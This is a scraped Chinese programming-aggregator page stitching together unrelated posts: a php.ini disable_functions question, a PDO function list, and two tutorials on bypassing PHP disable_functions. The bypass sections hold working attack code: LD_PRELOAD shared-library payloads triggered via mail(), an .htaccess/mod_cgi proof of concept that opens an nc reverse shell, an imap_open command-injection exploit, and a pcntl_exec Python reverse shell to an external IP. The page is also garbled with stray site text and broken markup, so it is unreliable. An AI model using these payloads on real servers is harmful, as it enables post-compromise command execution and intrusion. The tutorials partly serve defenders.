GVKun编程网logo

php.ini不允许我disable_functions(php不允许任何不同类型数据的操作数一起进行运算)

27

本文的目的是介绍php.ini不允许我disable_functions的详细情况,特别关注php不允许任何不同类型数据的操作数一起进行运算的相关信息。我们将通过专业的研究、有关数据的分析等多种方式,

本文的目的是介绍php.ini不允许我disable_functions的详细情况,特别关注php不允许任何不同类型数据的操作数一起进行运算的相关信息。我们将通过专业的研究、有关数据的分析等多种方式,为您呈现一个全面的了解php.ini不允许我disable_functions的机会,同时也不会遗漏关于blendfunction PHP PDO函数库(PDO Functions)第1/2页、bypass disable functions执行PHP系统命令总结、bypass disable_function总结学习、disable_functions php.ini eval函数仍然有效的知识。

本文目录一览:

php.ini不允许我disable_functions(php不允许任何不同类型数据的操作数一起进行运算)

php.ini不允许我disable_functions(php不允许任何不同类型数据的操作数一起进行运算)

我把这个在PHP.ini文件中:

disable_functions="popen,exec,system,passthru,proc_open,shell_exec,show_source,PHPinfo"

但是我仍然可以调用它们(经过testing的exec和shell_exec。我已经多次重启了web服务器。

(在windows下)。

将HTTPredirect到HTTPS和WWW到非WWW URL

如何禁用cPanel的URL

基于查询string的Apache权限

如何安装Python包供所有用户全局使用(包括www-data)

无法重写url并在.htaccess中追加参数

Subversion E160013:找不到''/ svn / xxx /!svn / me''path*错误

在Windows XAMPP中使用Wsgi设置Pythonpath

Apache / Nginx在Rails应用程序中的作用是什么?

apache httpclient 4.5.1仅对非ssl站点进行SSL连接,并失败

如何在Eclipse中导入“org.apache.http.client.HttpClient”?

尝试删除双引号:

disable_functions=popen,PHPinfo

总结

以上是小编为你收集整理的php.ini不允许我disable_functions全部内容。

如果觉得小编网站内容还不错,欢迎将小编网站推荐给好友。

blendfunction PHP PDO函数库(PDO Functions)第1/2页

blendfunction PHP PDO函数库(PDO Functions)第1/2页

与ADODB和MDB2相比,PDO更高效。目前而言,实现“数据库抽象层”任重而道远,使用PDO这样的“数据库访问抽象层”是一个不错的选择。
PDO->beginTransaction() — 标明回滚起始点
PDO->commit() — 标明回滚结束点,并执行SQL
PDO->__construct() — 建立一个PDO链接数据库的实例
PDO->errorCode() — 获取错误码
PDO->errorInfo() — 获取错误的信息
PDO->exec() — 处理一条SQL语句,并返回所影响的条目数
PDO->getAttribute() — 获取一个“数据库连接对象”的属性
PDO->getAvailableDrivers() — 获取有效的PDO驱动器名称
PDO->lastInsertId() — 获取写入的最后一条数据的主键值
PDO->prepare() — 生成一个“查询对象”
PDO->query() — 处理一条SQL语句,并返回一个“PDOStatement”
PDO->quote() — 为某个SQL中的字符串添加引号
PDO->rollBack() — 执行回滚
PDO->setAttribute() — 为一个“数据库连接对象”设定属性
PDOStatement->bindColumn() — Bind a column to a PHP variable
PDOStatement->bindParam() — Binds a parameter to the specified variable name
PDOStatement->bindValue() — Binds a value to a parameter
PDOStatement->closeCursor() — Closes the cursor, enabling the statement to be executed again.
PDOStatement->columnCount() — Returns the number of columns in the result set
PDOStatement->errorCode() — Fetch the SQLSTATE associated with the last operation on the statement handle
PDOStatement->errorInfo() — Fetch extended error information associated with the last operation on the statement handle
PDOStatement->execute() — Executes a prepared statement
PDOStatement->fetch() — Fetches the next row from a result set
PDOStatement->fetchAll() — Returns an array containing all of the result set rows
PDOStatement->fetchColumn() — Returns a single column from the next row of a result set
PDOStatement->fetchObject() — Fetches the next row and returns it as an object.
PDOStatement->getAttribute() — Retrieve a statement attribute
PDOStatement->getColumnMeta() — Returns metadata for a column in a result set
PDOStatement->nextRowset() — Advances to the next rowset in a multi-rowset statement handle
PDOStatement->rowCount() — Returns the number of rows affected by the last SQL statement
PDOStatement->setAttribute() — Set a statement attribute
PDOStatement->setFetchMode() — Set the default fetch mode for this statement
从函数列表可以看出,操作基于不同的对象,“PDO”表示的是一个数据库连接对象(new PDO产生),“PDOStatement”表示的是一个查询对象(PDO->query()产生)或者是一个结果集对象(PDO->prepare()产生)。
一个“数据库连接对象”的例子,返回“PDO”:

复制代码 代码如下:

立即学习“PHP免费学习笔记(深入)”;


$dbh = new PDO(''mysql:host=localhost;dbname=test'', ''root'', '''');
?>


一个“查询对象”的例子,返回“PDOStatement”:

复制代码 代码如下:

立即学习“PHP免费学习笔记(深入)”;


$sql = "INSERT INTO `test`.`table` (`name` ,`age`)VALUES (?, ?);";
$stmt = $dbh->prepare($sql);
?>


一个“结果集对象”的例子,返回“PDOStatement”:

复制代码 代码如下:

立即学习“PHP免费学习笔记(深入)”;


$sql = "SELECT * FROM `table` WHERE `name` = ''samon''";
$stmt = $dbh->query($sql);
?>


当前1/2页 12下一页

以上就介绍了blendfunction PHP PDO函数库(PDO Functions)第1/2页,包括了blendfunction方面的内容,希望对PHP教程有兴趣的朋友有所帮助。

bypass disable functions执行PHP系统命令总结

bypass disable functions执行PHP系统命令总结

这次给大家带来bypass disable functions执行PHP系统命令总结,bypass disable functions执行PHP系统命令的注意事项有哪些,下面就是实战案例,一起来看一下。

一、为什么要bypass disable functions

为了安全起见,很多运维人员会禁用PHP的一些“危险”函数,例如eval、exec、system等,将其写在php.ini配置文件中,就是我们所说的disable functions了,特别是虚拟主机运营商,为了彻底隔离同服务器的客户,以及避免出现大面积的安全问题,在disable functions的设置中也通常较为严格。

攻与防是对立的,也是互相补充的,既然有对函数的禁用措施,就会有人想方设法的去突破这层限制,我们只有在掌握突破方式以及原理的基础之上,才能更好的去防范这类攻击。

执行系统命令通常是攻击者拿到网站webshell之后想要进一步动作的必然操作,如若不能执行系统命令,接下来的更深入的攻击将很难继续,所以就有了网站管理者禁用类似exec、system之类函数的现象。然而随着技术的不断进步,不断有新的思路出现,单纯的禁用这些函数,某些情况下已经不能阻止攻击者达到执行系统命令的目的了,那么攻击者用什么样的方式突破了disable functions呢?我们又怎样防范这样的攻击呢?

二、 Bash漏洞导致的任意命令执行

GNU Bash 环境变量远程命令执行漏洞(CVE-2014-6271)是GNU Bash 的一个远程代码执行漏洞,在这个CVE的介绍中,可以看到这样的描述:“GNU Bash 4.3及之前版本中存在安全漏洞,该漏洞源于程序没有正确处理环境变量值内的函数定义。远程攻击者可借助特制的环境变量利用该漏洞执行任意代码。以下产品和模块可能会被利用:OpenSSH sshd中的ForceCommand功能,Apache HTTP Server中的mod_cgi和mod_cgid模块,DHCP客户端等”。实际上,PHP也可以利用这个漏洞做很多事情,甚至有可能直接在80导致远程命令执行。关于这个漏洞的详细情况可以查阅CVE-2014-6271的相关资料,此处不再赘述。

下面我们来看一下PHP到底什么地方能用到bash的这个漏洞呢?其实可以用的地方不止一处,这里我们以mail函数作为例子,其他地方同理,可以自行分析。

PHP的mail函数提供了3个必选参数和2个可选参数,这里我们主要看最后一个参数,PHP官方手册上对最后一个参数的说明:

“Theadditional_parameters parameter can be used to pass an additional parameter tothe program configured to use when sending mail using the sendmail_pathconfiguration setting. For example, this can be used to set the envelope senderaddress when using sendmail with the -f sendmail option.
Theuser that the webserver runs as should be added as a trusted user to thesendmail configuration to prevent a ‘X-Warning' header from being added to themessage when the envelope sender (-f) is set using this method. For sendmailusers, this file is /etc/mail/trusted-users. “
登录后复制

简单的说就是这个参数可以通过添加附加的命令作为发送邮件时候的配置,比如使用-f参数可以设置邮件发件人等,官方文档在范例Example #3也有所演示,具体可以参考官方文档: http://php.net/manual/zh/function.mail.php 。

在mail函数的源代码mail.c中,我们可以找到如下代码片段:

if (extra_cmd != NULL) {
       spprintf(&sendmail_cmd, 0,"%s %s", sendmail_path, extra_cmd);
    } else {
       sendmail_cmd = sendmail_path;
    }
登录后复制

如果传递了第五个参数(extra_cmd),则用spprintf将sendmail_path和extra_cmd拼接到sendmail_cmd中(其中sendmail_path就是php.ini中的sendmail_path配置项),随后将sendmail_cmd丢给popen执行:

#ifdef PHP_WIN32
    sendmail = popen_ex(sendmail_cmd,"wb", NULL, NULL TSRMLS_CC);
#else
    /* Since popen() doesn't indicate if theinternal fork() doesn't work
    *(e.g. the shell can't be executed) we explicitly set it to 0 to be
    *sure we don't catch any older errno value. */
    errno = 0;
    sendmail = popen(sendmail_cmd,"w");
#endif
登录后复制

如果系统默认sh是bash,popen会派生bash进程,而我们刚才提到的CVE-2014-6271漏洞,直接就导致我们可以利用mail()函数执行任意命令,绕过disable_functions的限制。但是这里其实有一个问题,就是extra_cmd在spprintf之前做了安全检查,我当前的PHP版本是最新的7.2.4,代码位置在mail.c的第371-375行:

 if (force_extra_parameters) {
       extra_cmd =php_escape_shell_cmd(force_extra_parameters);
    } else if (extra_cmd) {
       extra_cmd =php_escape_shell_cmd(ZSTR_VAL(extra_cmd));
    }
登录后复制

php_escape_shell_cmd函数会对特殊字符(包括`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)进行转义,那这样是不是就没办法了呢?不是的,我们可以通过putenv函数来设置一个包含自定义函数的环境变量,然后通过mail函数来触发,网上早已有POC。

同样调用popen派生进程的php函数还有imap_mail,或者还可能有其他的我们没有发现的函数,所以如果要防范这类攻击,最好的办法就是从根源上入手,修复CVE-2014-6271这个bash漏洞。

三、LD_PRELOAD:无需bash漏洞

上文说到mail函数利用bash破壳漏洞可以实现突破disable functions的限制执行系统命令,但是像这样的漏洞,一般安全意识稍好一点的运维人员,都会打上补丁了,那么是不是打上补丁之后就一定安全了呢?显然答案是否定的,LD_PRELOAD是Linux系统的下一个有趣的环境变量:

它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

它允许你定义在程序运行前优先加载的动态链接库,我们只要知道这一件事就足够了,这说明什么?这说明我们几乎可以劫持PHP的大部分函数,还拿上文的mail函数作为例子,上文说过,php的mail函数实际上是调用了系统的sendmail命令,那么我们来看一下sendmail都调用了哪些库函数:

使用readelf -Ws /usr/sbin/sendmail命令来查看,我们发现sendmail函数在运行过程动态调用了很多标准库函数,我们从中随便选取一个库函数geteuid进行测试。

首先我们编写一个自己的动态链接程序,hack.c:

#include<stdlib.h>
#include <stdio.h>    
#include<string.h> 
void payload() {
    system("touch/var/www/html/test");
}  
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
登录后复制

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。这里实际应用时应该注意编译平台和目标尽量相近,以及注意路径问题,避免不必要的麻烦,这里我们仅仅作为测试,不考虑这些问题。

[[email protected]]# gcc -c -fPIC hack.c -o hack
[[email protected]]# gcc -shared hack -o hack.so
登录后复制

我们把hack.so放到WEB目录,然后编写一个PHP文件进行测试:

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("[email protected]","","","","");
?>
登录后复制

我们的/var/www/html/目录下本来只有hack.so和index.php这两个文件,当我们在浏览器中访问index.php页面之后,可以看到目录下又多出了一个test文件,说明我们的系统命令执行成功。

(PS:笔者实际测试时的环境是VMPlayer7+CentOS7+Apache2.4+PHP7.2.4的环境,测试时遇到一个问题,就是每次刷新访问index.php时,虚拟机的VM进程会疯狂的读写硬盘,几乎独占磁盘的所有活动时间(机械硬盘),导致虚拟机卡顿到连鼠标都无法移动,物理机也因此受到影响明显卡顿,约半小时左右这种情况会突然消失,最终测试结果成功。不知道是什么原因引起这种现象,需要进一步研究,但不在本文讨论范围之内。)

这种绕过行为实施起来很简单,并且目前为止还不受PHP与Linux版本的限制,但是也很容易防御,只要禁用相关的函数(putenv)或者限制对环境变量的传递就可以了,但是要注意对现有业务是否造成影响。

其实对于这个问题,早在2008年就有人向PHP官方反馈过,只不过PHP给出的回复是你最好禁用putenv函数: https://bugs.php.net/bug.php?id=46741 ,所以我们有理由相信在后续的PHP版本中也不会对这个问题有什么针对性的解决方案。

四、.htaccess:不止重定向

大家对.htaccess文件一定不陌生,没错,在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!,就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

关于mode_cgi,可以参考apache的官方说明: http://man.chinaunix.net/newsoft/ApacheManual/mod/mod_cgi.html 。

“任何具有mime类型application/x-httpd-cgi或者被 cgi-script处理器(Apache 1.1或以后版本)处理的文件将被作为CGI脚本对待并由服务器运行, 它的输出将被返回给客户端。通过两种途径使文件成为CGI脚本,或者文件具有已由 AddType指令定义的扩展名,或者文件位于 ScriptAlias目录中。”,这就表示,apache允许WEB服务器与可执行文件进行交互,这就意味着,你可以用C或者python编写WEB应用,听起来我们好像可以做任何apache权限用户能做的事情了,那么到底如何实现呢?

首先需要满足几个条件,第一,必须是apache环境,第二,mod_cgi已经启用(在我的环境下是默认启用的),第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none,第四,必须有权限写.htaccess文件。其实这几个条件还是比较容易满足的,满足了以上的条件,就可以“搞事情”了。

在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用。Options指令的主要作用是控制特定目录将启用哪些服务器特性。关于Options指令后可以附加的特性选项的具体作用及含义,可以参考这篇文章: http://www.365mini.com/page/apache-options-directive.htm ,当然我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本。除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddTypeapplication/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

有了Options和AddHandler,我们就可以随便指定一个特定的文件扩展名以特定的程序来处理,这样思路就很清晰了:先把要执行的程序写入一个特定扩展名的文件里,然后修改.htaccess文件,通过Options指令允许使用mod_cgi模块执行CGI脚本,然后再让我们特定的扩展名以cgi-script进行处理,这样我们甚至可以反弹一个shell出来。

POC如下,附注释:

<?php
$cmd = "nc -c&#39;/bin/bash&#39; 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd"; 
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
  echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET[&#39;checked&#39;]))
{
  @file_put_contents(&#39;.htaccess&#39;,"\nSetEnv HTACCESS on", FILE_APPEND); 
  header(&#39;Location: &#39; . $_SERVER[&#39;PHP_SELF&#39;]. &#39;?checked=true&#39;); //执行环境的检查
}
else
{
  $modcgi = in_array(&#39;mod_cgi&#39;,apache_get_modules()); // 检测mod_cgi是否开启
  $writable = is_writable(&#39;.&#39;); //检测当前目录是否可写
  $htaccess = !empty($_SERVER[&#39;HTACCESS&#39;]);//检测是否启用了.htaccess
    checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
    checkEnabled("Iswritable",$writable,"Yes","No");
    checkEnabled("htaccessworking",$htaccess,"Yes","No");
  if(!($modcgi && $writable&& $htaccess))
  {
    echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
  }
  else
  {
 checkEnabled("Backing 
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in 
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write 
.htaccessfile",file_put_contents(&#39;.htaccess&#39;,"Options 
+ExecCGI\nAddHandlercgi-script 
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
    checkEnabled("Write shellfile",file_put_contents(&#39;shell.dizzle&#39;,$shellfile),"Succeeded!","Failed!");//写入文件
    checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
    echo "Executing the script now.Check your listener <img  src = &#39;shell.dizzle&#39; style =&#39;display:none;&#39; alt="bypass disable functions执行PHP系统命令总结" >"; //调用
  }
}
?>
登录后复制

我们在本地开nc监听4444端口,然后在浏览器中打开这个页面,如果执行成功,将会反弹一个shell到4444端口:

当访问POC的时候,成功反弹了一个shell到本地的4444端口,可以看到执行id命令后的回显。

五、其他方式

除上述方式外,在某些特定情况下,还有很多能够绕过php.ini的禁用函数达到执行系统命令目的的方法,但是由于这些方法受到的限制颇多,很少有满足条件的真实环境,所以鉴于篇幅原因,以下只粗略介绍几个其他绕过方式,并提供相关的详细介绍的文章链接,如果有兴趣详细了解,可以参考互联网上的相关资料。

ImageMagick

ImageMagick是一款使用量很广的图片处理程序,很多厂商包括Discuz、Drupal、Wordpress等常用CMS中也调用了ImageMagick扩展或ImageMagick库进行图片处理,包括图片的伸缩、切割、水印、格式转换等等。在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入,官方在6.9.3-9版本中对漏洞进行了不完全的修复。关于这个漏洞的具体利用和防御方式可以参考:

 http://wooyun.jozxing.cc/static/drops/papers-15589.html 。

pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。

COM 组件

Windows环境下,当php.ini的设置项com.allow_dcom =true时,可以通过COM组件执行系统命令,甚至开启安全模式也可以,相关资料参考: https://www.exploit-db.com/exploits/4553/ 。

win32std

win32std是一个很老的PHP扩展,其中的win_shell_execute函数可以用来执行Windows系统命令: https://www.exploit-db.com/exploits/4218/ 。

六、总结

对于入侵者来说,拿到一个webshell之后,如果想要进一步获取更高的权限或更多的数据和信息,执行系统命令几乎是必须的。当我们在PHP应用中出现了某些纰漏导致遭到入侵时,如何让损失降到最低就成了首要的问题。从本文已经列举的方法中不难看出只要掌握了这些原理,防范工作是非常简单有效的,只要经常关注安全动态,是完全可以做到对以上绕过措施进行防御的。

相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!

推荐阅读:

PHP+ajax实现获取新闻数据案例详解

php curl批处理实现可控并发异步操作案例详解

以上就是bypass disable functions执行PHP系统命令总结的详细内容,更多请关注php中文网其它相关文章!

bypass disable_function总结学习

bypass disable_function总结学习

通常bypass的思路如下

1. 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果

readelf -Ws /usr/bin/sendmail

通过readelf可以查看id程序可能调用的系统API函数,这个命令结果仅代表可能被调用的API,不代表一定调用

通过strace -f +程序执行 才能看到程序实际的内部调用情况

1.利用LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),
它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,
我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),
而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

execve

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。
exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

 关键:

虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD,而LD_PRELOAD用于加载动态链接库)

常见的 system() 启动程序方式显然不行,否则就不存在突破 disable_functions 一事了。PHP 脚本中除了调用 system()、exec()、shell_exec() 等等一堆 php 函数外,还有哪种可能启动外部程序呢?php 解释器自身!比如,php 函数 goForward() 实现“前进”的功能,php 函数 goForward() 又由组成 php 解释器的 C 语言模块之一的 move.c 实现,C 模块 move.c 内部又通过调用外部程序 go.bin 实现,那么,我的 php 脚本中调用了函数 goForward(),势必启动外部程序 go.bin。现在,我需要找到类似 goForward() 的真实存在的 PHP 函数。

如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。

另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

putenv+mail

以发送邮件功能的mail函数为例,这里成功通过execve启动了新的进程,即调用了/usr/sbin/sendmail

用相同的测试方式,还找到一个 imap_mail(),之前是劫持getuid函数是因为sendmail程序调用该函数,在真实环境中,存在两方面问题:一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。

原作者找到了__attribute__ ((__constructor__))

It''s run when a shared library is loaded, typically during program startup.

也就是说所以当我们最开始将evil shared library load上后,就会触发__attribute__ ((__constructor__)),从而达成我们rce的目的。

比如编写如下c程序:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

putenv+imap_mail

imap_mail也是php用来发送电子邮件的的一个函数,用法和mail函数差不多,同样会调用sendmail命令:

putenv+error_log

error_log(error,type,destination,headers)

当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址

使用strace看一下,说明error_log函数也会启动新的进程

 那么这个函数也会跟mail函数一样去加载我们的共享库,从而配合LD_PRELOAD来实现rce

利用ImageMagick

 当imagick去处理以下后缀的文件时,将会调用ffmpeg去处理文件,即将会fork新的子进程,这正是我们想要的效果

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

可以看到,此时调用了/usr/bin/ffmpeg去处理该程序,所以肯定会加载LD_PRELOAD,从而来加载我们的恶意共享库so文件

利用imap_open (CVE-2018-19518)

 php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

比如执行

ssh -oProxyCommand="touch test.txt" 192.168.1.123

 

将会创建test.txt,环境在:

https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518

直接进入docker容器测试exp:

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open(''{''.$server.'':143/imap}INBOX'', '''', '''') or die("\n\nError: ".imap_last_error());
?>

当然这里-oProxyCommand= 后面的命令我们可以自定以,要是对一些关键词过滤的话我们还可以命令写入一些文件中,然后bash + 文件名来执行其中的bash命令,但是bash关键词不能被过滤

利用pcntl_exec突破disable_functions

直接通过pcntl_exec反弹shell:

<?php  pcntl_exec("/usr/bin/python",array(''-c'', ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("104.224.146.7",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);''));?>

.htaccess:不止重定向

在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!
就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。
但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

条件

第一,必须是apache环境
第二,mod_cgi已经启用  (在/etc/apache2/mods-enables里面可以看到apache已经加载的模块,或者使用apache_get_modules()返回开启的模块)
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none  (apache2.conf)
第四,必须有权限写.htaccess文件

在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用,Options指令的主要作用是控制特定目录将启用哪些服务器特性我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本

除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddType application/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

php特定版本bypass

1.php7.0-php7-gc-bypass执行效果如下图

 

 

 

 对于适用版本的php直接运行即可。

2.对于php-cgi或者php-fpm模式运行的Apache服务器

可以使用

https://github.com/beched/php_disable_functions_bypass

open_basedir要关闭

3.php7.1版本,以及以下版本可以:

 

 

参考:

https://xz.aliyun.com/t/4623#toc-10

https://xz.aliyun.com/t/5320#toc-2

https://github.com/Bo0oM/PHP_imap_open_exploit

https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md

https://baike.baidu.com/item/execve

http://47.98.146.200/index.php/archives/44/

 https://skysec.top/2019/02/25/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bimap_open()%20RCE/#%E5%89%8D%E8%A8%80

https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E4%BC%A0%E7%BB%9F%E6%96%B9%E5%BC%8F-hijacking-function

disable_functions php.ini eval函数仍然有效

disable_functions php.ini eval函数仍然有效

尝试在我的PHP中禁用某些功能时遇到了一些问题.
首先,我不是服务器的所有者,所以我无法更改主PHP.ini配置.但我试图用服务器所有者给我的指令来改变它.

这是我在我创建的PHP.ini文件中添加的行

disable_functions=eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

在我的PHPinfo()中,我可以看到这些函数被禁用的本地值和主值.

但我的问题从这里开始.
在同一个文件中我运行PHPinfo()并且我可以确认该函数应该被禁用,我运行eval()和shell_exec()并且eval()仍然有效但shel_exec()被禁用.

为什么我不能禁用eval()?

eval是一种语言结构,而不是一种函数,所以它不能被禁用.有关详细信息,请参阅 http://www.php.net/eval.

今天的关于php.ini不允许我disable_functionsphp不允许任何不同类型数据的操作数一起进行运算的分享已经结束,谢谢您的关注,如果想了解更多关于blendfunction PHP PDO函数库(PDO Functions)第1/2页、bypass disable functions执行PHP系统命令总结、bypass disable_function总结学习、disable_functions php.ini eval函数仍然有效的相关知识,请在本站进行查询。

本文标签: